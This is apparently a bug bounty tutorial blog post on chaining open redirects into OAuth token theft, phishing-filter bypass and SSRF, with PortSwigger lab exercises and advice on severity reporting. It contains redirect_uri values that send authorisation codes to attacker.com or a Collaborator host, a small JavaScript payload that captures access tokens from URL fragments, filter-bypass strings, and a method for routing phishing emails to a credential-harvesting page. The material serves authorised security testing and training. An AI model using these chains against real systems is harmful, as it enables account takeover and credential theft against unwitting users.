Open Redirect to Account Takeover — The Exploit Chain Most Hunters Miss in 2026
Mr Elite ··
20 min read
⚠️ Authorised Testing Only: All techniques covered here target authorised bug bounty programmes or systems you have explicit written permission to test. Exploiting OAuth token theft or account takeover chains against real users without authorisation is illegal under computer fraud legislation worldwide. SecurityElites.com accepts no liability for misuse.
Most bug bounty hunters file open redirects as Low severity and move on. The programme triage team accepts it, pays the minimum bounty, and closes the ticket. That is the correct call for a standalone redirect — sending a user to an arbitrary URL is a phishing aid, not an account takeover. But on a programme last year I found an open redirect on a target that also used OAuth for social login. I spent twenty minutes testing a chain. The redirect_uri in the OAuth flow accepted the target’s own domain. The open redirect endpoint was on that domain. I crafted a link that sent any authenticated user’s access token directly to my server. The programme rated it Critical. It paid $15,000. The original open redirect finding, filed standalone, would have paid $150.
The open redirect to account takeover chain is one of the most consistent severity-escalation paths in web application security. It is under-hunted because most hunters stop at the redirect confirmation. I cover the full chain here: OAuth token theft via redirect_uri manipulation, phishing bypass using on-domain redirects, and SSRF escalation via server-side redirect following. The difference between a Low finding and a Critical one is twenty minutes of methodical chaining.
🎯 What You’ll Master
Confirm open redirects and enumerate chain potential before filing
Chain open redirect to OAuth token theft — complete redirect_uri manipulation methodology
Build a working account takeover proof of concept using Burp Collaborator
Bypass open redirect protections — URL encoding, subdomain tricks, protocol-relative
Chain open redirect into SSRF via server-side redirect following
Write the High/Critical severity report that reflects the actual impact
⏱️ 60 min · 3 exercises · Browser + PortSwigger + Burp Suite
✅ Prerequisites
Day 11 — Open Redirect Bug Bounty
— the baseline open redirect detection methodology this article escalates
Day 18 — OAuth Bug Bounty
— OAuth flow fundamentals; understanding authorisation codes, implicit flow, and redirect_uri validation is required for the chain
Burp Suite installed — active proxy and Collaborator used in Exercises 2 and 3
The open redirect fundamentals from Day 11 cover detection and basic confirmation. That foundation ends with a confirmed redirect — today extends it into the question of whether the redirect chains into something that pays at a different tier. The OAuth knowledge from Day 18 is the direct prerequisite for Section 2. Read both before working through the exercises if you have not already.
Finding Open Redirects — Parameters, Patterns & Bypass Techniques
Open redirects hide in predictable places. The post-login redirect parameter is the most common — after authentication, the application forwards the user to wherever they were trying to go, stored in a parameter. Logout flows redirect to a homepage or SSO portal. Email link tracking systems redirect from a tracking domain to the destination. OAuth redirect_uri parameters accept redirect destinations as part of the protocol. Every one of these is a candidate for testing.
OPEN REDIRECT — DISCOVERY PATTERNS AND CONFIRMATION
🛠️ EXERCISE 1 — BROWSER (15 MIN · AUTHORISED TARGETS)
Find and Confirm an Open Redirect on a Bug Bounty Target
⏱️ 15 minutes · Browser only · Authorised scope required
Before any chaining attempt, you need a confirmed open redirect. This exercise runs the discovery and confirmation workflow — the same sequence I run at the start of every redirect chaining assessment. Use an authorised bug bounty target or the PortSwigger open redirect labs.
Step 1: Open your target application and log in.
After login, observe the URL. Does it contain a redirect parameter?
Common pattern: https://target.com/login?next=/dashboard
Test: change ?next=/dashboard to ?next=https://example.com
Does the browser navigate to example.com after login? → confirmed.
Step 2: Check the logout flow.
Click logout. Does the post-logout URL contain a redirect parameter?
Test: intercept the logout request in Burp and modify the redirect value.
Step 3: Browse the application with Burp capturing all requests.
Proxy → HTTP history → search for parameters containing http in their value.
List every redirect parameter you find.
Step 4: Test each with Burp Collaborator as the destination.
Replace the redirect value with your Collaborator URL.
Check Collaborator for incoming HTTP/DNS requests.
A Collaborator callback confirms the server-side or client-side redirect.
Step 5: For each confirmed redirect, note:
— Is it client-side (browser follows) or server-side (server fetches)?
— What HTTP status code triggers it? (301, 302, 307, meta refresh, JS)
— Does the application pass any sensitive data in the redirect URL?
(tokens, session IDs, email addresses in parameters?)
— What OAuth or SSO flows exist on the same domain?
✅ You now have a confirmed open redirect with a Collaborator-verified callback and a list of chain candidates from Step 5. The most important output from this exercise is Step 5’s last question — whether the application passes sensitive data through the redirect. An access_token, code, or session parameter appended to the redirect URL is the direct attack path for the OAuth chain in Section 2. If no OAuth flows exist, move to the phishing bypass chain in Section 3.
📸 Screenshot your Burp Collaborator showing the redirect callback and share in #bug-bounty-course on Discord.
The OAuth Token Theft Chain — redirect_uri Manipulation
The OAuth account takeover chain is the highest-impact path an open redirect can take. The attack exploits the gap between how OAuth servers validate redirect URIs and how open redirects work. Most OAuth servers validate that the redirect_uri starts with or matches the registered domain — target.com. They do not validate every redirect that happens after that domain receives the request. If target.com has an open redirect, the OAuth server’s domain check is satisfied while the actual token delivery ends up on attacker.com.
OAUTH TOKEN THEFT — FULL CHAIN WALKTHROUGH
# Step 1: Map the OAuth flow — find the authorisation request
GET /oauth/authorize?
response_type=code&
client_id=CLIENT_ID&
redirect_uri=https://target.com/callback& ← your target
scope=openid+profile+email&
state=RANDOM_STATE
# Step 2: Confirm open redirect endpoint on target.com
# You found: https://target.com/redirect?url=https://anything.com
# Step 3: Replace redirect_uri with open redirect to attacker.com
⚠ Account takeover complete — full API access as victim
📸 Attacker server receiving the victim’s OAuth authorisation code via the open redirect chain. The code arrives because target.com/redirect forwarded it to attacker.com. The attacker exchanges the code for an access token and now has full authenticated API access as the victim — account takeover via a parameter that most hunters file as Low severity.
Phishing Bypass — Using On-Domain Redirects to Beat Filters
Even without OAuth, an open redirect on a trusted domain is a powerful phishing tool — specifically for bypassing email security filters and user suspicion. Phishing filters check link domains against reputation lists. A link to target.com passes. A link to attacker.com fails. An open redirect on target.com forwards to attacker.com while the link itself is target.com. The filter passes it. The user sees a trusted domain in the email. The browser follows the redirect.
On a red team engagement, this is how I use the social engineering toolkit in combination with an open redirect. I send the phishing email from the spoofed internal IT address with a link to target.com/redirect pointing to my credential harvesting page. The email passes every technical filter because the link domain is the target’s own. The user sees their own company’s domain in the hover preview and clicks. That chain is what makes open redirect worth including in a social engineering phishing campaign — it is the link that gets past both the filter and the hovering mouse.
PHISHING BYPASS — OPEN REDIRECT AS TRUSTED LINK
# Craft the phishing link using the open redirect
# Email body link text: “Click here to verify your account”
# Actual href: target.com open redirect → phishing page
# ProofPoint / Defender ATP check: target.com in allowlist → no block
# Severity impact for report:
Without open redirect: phishing link points to attacker.com
→ email filters block it, user sees unknown domain, clicks fewer
With open redirect: phishing link points to target.com
→ email filters pass it, user sees trusted domain, clicks more
The open redirect amplifies the phishing campaign’s effectiveness
Report this as Medium-High depending on email filter bypass confirmed
🌐 EXERCISE 2 — PORTSWIGGER LAB (20 MIN)
Exploit OAuth Token Theft via Open Redirect on PortSwigger Academy
⏱️ 20 minutes · Free PortSwigger account
PortSwigger’s OAuth labs include a scenario where an open redirect on the target site can be chained into stealing OAuth access tokens. This is the exact chain covered in Section 2 — work through the PortSwigger version to build the muscle memory before applying it to real targets.
Step 1: Go to portswigger.net/web-security/oauth
Find the lab: “Stealing OAuth access tokens via an open redirect”
Access the lab and read the description.
Step 2: Browse the application with Burp proxying all traffic.
Log in with social login and observe the OAuth flow in Burp history.
Find the GET /auth request — copy the full URL with all parameters.
Step 3: Map the redirect_uri parameter in the OAuth request.
What domain does it point to? What path?
Step 4: Browse the rest of the application looking for a redirect parameter.
Hint: check the blog post next/previous navigation links.
Confirm the open redirect: does it forward to an arbitrary URL?
Step 5: Build the exploit — replace redirect_uri with the open redirect:
Original redirect_uri: https://TARGET/callback
Exploit redirect_uri: https://TARGET/post/next?path=https://EXPLOIT-SERVER
Encode the fragment properly to capture the token:
The access token arrives as a URL fragment (#access_token=…)
Use JavaScript on your exploit server to read window.location.hash
Step 6: Craft the exploit server payload:
<script>
window.location = ‘/?’+document.location.hash.substr(1)
</script>
This captures the fragment and sends it to your server as a query string.
Step 7: Deliver the exploit link to the victim (lab’s victim button).
Check your exploit server logs for the captured access token.
Use the token: GET /me with Authorization: Bearer TOKEN
Read the victim’s API key from the response — that solves the lab.
✅ You just executed a complete OAuth token theft via open redirect — the exact chain that turns a Low severity redirect finding into a Critical account takeover. The fragment-handling JavaScript is the non-obvious piece: OAuth implicit flow tokens arrive as URL fragments (#access_token=…) which are not sent in HTTP requests to the server. The window.location redirect converts the fragment into a query string that your server can log. That piece of knowledge is what makes this chain work in practice and what separates hunters who understand the chain from those who find the redirect and stop.
📸 Screenshot the lab solved notification and your captured access token. Share in #bug-bounty-course on Discord.
SSRF Chain — When the Server Follows Your Redirect
Open redirects and SSRF combine when the target application makes a server-side HTTP request that follows redirects. If the application fetches a URL you control (an SSRF candidate) and follows 301/302 redirects, you can use an open redirect on the target’s own domain to chain the SSRF to internal services. The server follows the redirect from the target domain to an internal URL that it otherwise would not fetch from external input.
OPEN REDIRECT TO SSRF — SERVER-SIDE REDIRECT FOLLOWING
# Scenario: target.com/fetch?url= makes a server-side HTTP request
# Direct SSRF to internal IP is blocked by allowlist validation
# But: requests to target.com are allowed by the allowlist
# Impact: Open redirect (Low) → SSRF → Cloud IAM credentials → Critical
# CVSS score depends on IAM role permissions — potentially 9.8
⚡ EXERCISE 3 — BURP SUITE (20 MIN)
Build and Test an Open Redirect Chain Using Burp Repeater and Collaborator
⏱️ 20 minutes · Burp Suite · PortSwigger Academy or authorised target
This exercise runs the full open redirect chain workflow in Burp Repeater — finding the redirect, testing bypass techniques, building the OAuth chain URL, and capturing the token via Burp Collaborator. The Collaborator step is what makes the PoC undeniable in a report.
Step 1: With Burp proxying your target, log in and browse to trigger OAuth.
In Proxy → HTTP history, find the OAuth authorisation request.
Right-click → Send to Repeater.
Step 2: In Repeater, modify the redirect_uri parameter.
Change it to your Burp Collaborator URL:
redirect_uri=https://YOUR-COLLABORATOR.oastify.com
Send the request. Does the OAuth server reject it or accept it?
If rejected: the OAuth server validates exact URI — note the error message.
If accepted (returns 302 to Collaborator): redirect_uri validation is weak.
Step 3: Now find the open redirect on the target domain.
Test: https://target.com/REDIRECT_PATH?url=https://YOUR-COLLABORATOR.oastify.com
Confirm: does Burp Collaborator receive an HTTP request?
Step 4: Build the chained redirect_uri:
redirect_uri=https://target.com/REDIRECT_PATH?url=https://YOUR-COLLABORATOR.oastify.com
In Repeater, replace the redirect_uri with this chained value.
Does the OAuth server accept it now? (Domain matches target.com)
Step 5: If accepted — craft the full victim exploit URL.
Replace the original redirect_uri in the OAuth authorisation URL.
Send it to Burp Collaborator via the “Send exploit to victim” pattern.
Check Collaborator — does the auth code arrive?
Step 6: Document the full chain for your report:
Screenshot 1: Original OAuth request with redirect_uri
Screenshot 2: Modified redirect_uri accepted by server
Screenshot 3: Collaborator showing auth code captured
Screenshot 4: Token exchange request and response
Screenshot 5: Authenticated API call proving account access
✅ You just built a five-screenshot evidence package for an OAuth token theft via open redirect — the minimum evidence required for a Critical account takeover report. The Collaborator callback in Screenshot 3 is the non-repudiable proof: it shows a timestamped, out-of-band HTTP request from the target’s OAuth server to your collector with the auth code in the URL. That package closes every triage dispute about whether the chain is actually exploitable. File it as Critical, link every screenshot, and include the crafted URL as the reproducibility step.
📸 Screenshot your Burp Collaborator showing the captured auth code. Share in #bug-bounty-course on Discord. Tag #account-takeover-chain
Reporting — Severity Calculation and Evidence Package
How you frame the severity determines the payout. A standalone open redirect is Low — “an attacker can redirect users to an arbitrary URL, facilitating phishing.” The chain report reads differently: “An open redirect on target.com/redirect can be combined with the application’s OAuth implicit flow to steal victim access tokens, resulting in complete account takeover with a single victim click.” Same underlying redirect. Different report. Different payout tier.
For CVSS scoring the chained account takeover: Attack Vector Network, Attack Complexity Low, Privileges Required None, User Interaction Required, Scope Changed, Confidentiality High, Integrity High, Availability None. That scores 8.0 — High, often bumped to Critical by programme-specific impact modifiers for account takeover with PII exposure. For SSRF to cloud metadata: potentially 9.8 depending on the IAM role permissions exposed.
📋 Open Redirect to ATO — Reference Card
Common redirect paramsurl= redirect= return= next= continue= goto= forward=
Severity — chained ATOCVSS 8.0 High → Critical (programme-dependent)
Key evidence itemCollaborator callback showing auth code in URL
✅ Complete — Open Redirect to Account Takeover Chain
Open redirect discovery, bypass techniques, OAuth token theft via redirect_uri manipulation, phishing filter bypass using on-domain redirects, SSRF escalation via server-side redirect following, and the complete Burp evidence package for a Critical severity report. The redirect is just the first link — the chain is where the value lives.
🧠 Quick Check — Open Redirect Chains
You find an open redirect at target.com/redirect?url=. The application uses OAuth with implicit flow. The OAuth server validates that redirect_uri starts with https://target.com. What is the correct severity for this finding and why?
❓ Open Redirect to ATO FAQ
What is an open redirect vulnerability?
An open redirect is a vulnerability where a web application accepts a user-supplied URL as a redirect destination and forwards the user to that URL without validating whether it is trusted. On its own, severity is Low to Medium — the impact is phishing facilitation. The impact escalates dramatically when chained with OAuth flows, phishing bypass, or SSRF.
How does open redirect lead to account takeover?
The chain works when an OAuth server validates that redirect_uri matches the target domain, but an open redirect on that domain allows forwarding to attacker.com. The victim authenticates, the OAuth server sends the access token to the target.com open redirect, which redirects to attacker.com with the token in the URL. The attacker captures the token and impersonates the victim.
What severity should open redirect be rated in bug bounty?
Standalone open redirect without a chain: Low to Medium (CVSS 3.0-5.0). Chained with OAuth to account takeover: High or Critical (CVSS 8.0+). Always test for chain potential before filing. The redirect itself is the entry point — the chain is what determines the actual impact and payout tier.
What parameters indicate a potential open redirect?
Common names: url=, redirect=, return=, next=, continue=, goto=, destination=, target=, link=, returnTo=, redirectTo=, forward=, redir=, callback=. Also look for post-login redirect parameters, OAuth redirect_uri, email unsubscribe links, logout redirects, and any full URL appearing as a parameter value.
How do you bypass open redirect protections?
Common bypasses: protocol-relative URLs (//attacker.com); URL encoding (%2F%2Fattacker.com); subdomain tricks (target.com.attacker.com if validation checks for substring); URL fragment (target.com#attacker.com); double URL encoding (%252F); and Unicode homograph domains using Cyrillic characters that look identical to Latin letters.
What is the difference between open redirect and SSRF?
Open redirect manipulates where a user’s browser is sent — client-side. SSRF manipulates where the server makes a request — server-side. They chain when a server-side fetch follows redirects: the SSRF target domain is allowed, but the open redirect on that domain leads to an internal service URL. The server follows the redirect chain, reaching internal endpoints it would reject from direct SSRF input.
Day 11 — Open Redirect Bug Bounty— The detection and confirmation methodology for open redirects — the foundation this chaining article builds on.
Day 18 — OAuth Bug Bounty— Complete OAuth security testing guide covering redirect_uri validation, state parameter bypass, and implicit vs authorisation code flow vulnerabilities.
Day 22 — GraphQL Bug Bounty— Another non-standard attack surface where chaining produces disproportionate impact — the same “confirm then escalate” methodology applies.
PortSwigger — OAuth Vulnerabilities— The definitive hands-on reference with six progressive labs covering every OAuth attack including the open redirect token theft chain.
PortSwigger — SSRF— Server-side request forgery reference covering the redirect-based bypass technique that chains open redirects into SSRF against internal services.
ME
Mr Elite
Owner, SecurityElites.com
The $15,000 finding I mentioned in the opening took twenty minutes from discovering the open redirect to having a working account takeover proof of concept. The programme had been running for two years. The open redirect had been found and filed as Low at least three times — I found duplicates in the disclosed report history. Nobody had tested whether it could chain into the OAuth flow. I did because chaining is the first question I ask whenever I confirm a redirect. A Low finding is a starting point, not a conclusion. The chain is where the work actually is.
